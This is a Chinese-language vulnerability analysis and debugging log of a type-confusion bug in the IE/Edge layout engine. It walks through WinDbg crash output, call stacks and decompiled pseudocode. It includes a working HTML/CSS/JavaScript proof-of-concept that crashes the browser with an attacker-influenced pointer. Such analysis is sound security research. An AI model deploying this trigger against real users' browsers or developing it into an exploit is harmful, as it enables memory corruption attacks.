漏洞概述
該漏洞是一個由于對傳入?yún)?shù)限制不嚴(yán)格導(dǎo)致的類型混淆,錯誤的將TableGridBoxBuilder 當(dāng)作 FlowBoxBuilder 對象來使用,導(dǎo)致程序可訪問任意地址。該漏洞可以在 IE 和 EDGE 中觸發(fā),由于 IE DOM 樹的結(jié)構(gòu)并不直觀,這里采用 EDGE 進(jìn)行調(diào)試和分析
漏洞樣本
漏洞樣本如下,為了方便定位漏洞觸發(fā)相關(guān)的 DOM 節(jié)點,我在其中加入了一些 text 作為標(biāo)記
<style>
.class1 { float: left; column-count: 5; background-color:#FFFF00;}
.class2 { column-span: all; columns: 1px; }
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "sss";
th1.align = "right";
}
</script>
<body onload="setTimeout(boom,100)">
<table cellspacing="0" border=1>
<tr class="class1">aaa
<td id="th1" colspan="5" width=55>ssss</td>
<th class="class2" width=0>bb
<div class="class2">cc</div>
</th>
</tr>
</table>
漏洞分析
首先查看頁面代碼,大體流程為, 瀏覽器首先根據(jù) css 渲染頁面, 待頁面渲染完成之后使用 media.mediaText = "" 為css 設(shè)置媒體屬性,使 css 變成非阻塞試的,即使得當(dāng)前頁面不用考慮 css 解析結(jié)果就可以進(jìn)行渲染,(這里只要不是“all”或者“screen”都可以),再次設(shè)置 th1.align 使頁面重新渲染,這時的渲染將不會考慮之前的css,從而會使得頁面所有元素被重新布局,在這個階段發(fā)生崩潰
打開程序訪問樣本,漏洞觸發(fā)點如下,可以看到,程序崩潰在訪問 eax 寄存器所指向的地址時,eax 的值可以通過頁面中數(shù)據(jù)進(jìn)行控制
0:008> g
(d60.132c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000484 ebx=0dbbdd58 ecx=0dbc1fe8 edx=00000006 esi=00000064 edi=13f1ef88
eip=60ef9feb esp=0861d2b0 ebp=0861d2d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x75:
60ef9feb 833800 cmp dword ptr [eax],0 ds:0023:00000484=????????
下斷點 bp EDGEHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x5d
此處發(fā)生函數(shù)調(diào)用,返回值 eax 作為指針 ,這里總共會發(fā)生兩次調(diào)用,函數(shù)參數(shù)保存在 ecx 中從 (poi(ebx+0x10)+0x88) 位置獲得。
60ef9fda 8b4310 mov eax,dword ptr [ebx+10h]
60ef9fdd 8b8888000000 mov ecx,dword ptr [eax+88h]
60ef9fe3 894dec mov dword ptr [ebp-14h],ecx
60ef9fe6 e805226eff call edgehtml!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (605dc1f0)
60ef9feb 833800 cmp dword ptr [eax],0
第一次 ebx 為 FlowBoxBuilder 對象;第二次 ebx 為 TableGridBoxBuilder 對象
第一次調(diào)用棧為
0:008> k
ChildEBP RetAddr
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50
第二次調(diào)用棧為
0:008> k
ChildEBP RetAddr
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50
我們發(fā)現(xiàn),兩次調(diào)用棧一樣,跟蹤程序流程可知,第二次函數(shù)調(diào)用與第一次在同一函數(shù)內(nèi)部,使用ida查看該上層函數(shù),可以發(fā)現(xiàn),此處是一個循環(huán)導(dǎo)致,循環(huán)每次取當(dāng)前 FlowBox 的 ParentBoxBuilder,直到無對象為止,偽代碼如下所示,其中取出了一些與漏洞無關(guān)的代碼,可以看出這里在取出 parentBoxBuilder 之后并沒有進(jìn)行合法性校驗就直接使用,從而導(dǎo)致了崩潰。
while ( 1 )
{
if ( !cBoxBuilder )
return 0;
if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(cBoxBuilder) )
break;
if ( Layout::LayoutBoxBuilder::IsFlowBoxBuilder(cBoxBuilder_1) )
v3 += *((_DWORD *)cBoxBuilder + 171);
/****************
****************/
v10 = ((int (*)(void))Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable)();
/****************
****************/
v26 = *(_DWORD *)(*((_DWORD *)cBoxBuilder + 4) + 12);
cBoxBuilder = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(cBoxBuilder);
}
在 HandleColumnBreakOnColumnSpanningElement
函數(shù)上下斷點,顧名思義,函數(shù)是在一個 colume span 屬性的對象發(fā)生修改時被調(diào)用的。 該函數(shù)在樣本中一共會被調(diào)用 32 次, ,通過 BoxBuilder 可以索引到相應(yīng)的對象,這里崩潰時調(diào)用對應(yīng)的DOM對象為一個 CTableCell ,在頁面中對應(yīng)的為第二個 <th> 標(biāo)簽內(nèi)部對象。
此次傳入函數(shù)的參數(shù)為 FlowBoxBuilder ,其對應(yīng)的 DOM 節(jié)點對象為 "bb" 文本對象的父 generate 對象, 根據(jù)當(dāng)前節(jié)點對應(yīng)的 FlowBox+0x88 位置設(shè)置一個標(biāo)記位,若該標(biāo)記位被設(shè)置,則依次向上遍歷其 parentBoxBuilder
根據(jù)單步調(diào)試過程可以看出,第一次調(diào)用的DOM 對象和崩潰時調(diào)用的是同一個,只是其 FlowBox 發(fā)生了改變,應(yīng)該是解析 css 過程中對 box 內(nèi)容進(jìn)行了更改。 于是在這里下斷點觀察。可以看出這里每次發(fā)生頁面渲染操作時(頁面內(nèi)容發(fā)生變化)都會改變,而其偏移 0x88 位置的值則是在如下的調(diào)用流程中被修改的,若此處沒有被修改,則會誘發(fā)崩潰。
088cca84 6060721a edgehtml!Layout::FlowBoxBuilder::AddFlowItem+0x9f
088ccd28 6084529f edgehtml!Layout::FlowBoxBuilder::BuildLine+0x43a
088cce78 6084384f edgehtml!Layout::FlowBoxBuilder::BuildBoxItem+0x11f
088cced4 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x24f
通過調(diào)用棧可以看到,這里是發(fā)生在構(gòu)建頁面 line 時。
第一次處理 '第二個 <th> 標(biāo)簽' 時,對應(yīng)的Container 對象為為 FlowBox,正常處理,取 parentBoxBuilder 便會取到 <tr> 對象對應(yīng)的 ContainerBox,其為 GridBox,與 FlowBox結(jié)構(gòu)不同,從而造成了類型混淆。
后續(xù)工作
因為分析的時候遇到了很多困難,所以到網(wǎng)上搜索了一些文檔~看到了 0patch ~看到了 0patch 的補(bǔ)丁~ 為什么感覺這個補(bǔ)丁完全沒有在修補(bǔ)漏洞呢~
這個漏洞涉及到了css 等一些東西,知識點比較雜亂所以分析的也是亂七八糟,這里先記下來作為調(diào)試筆記~~和渲染相關(guān)的東西有點多~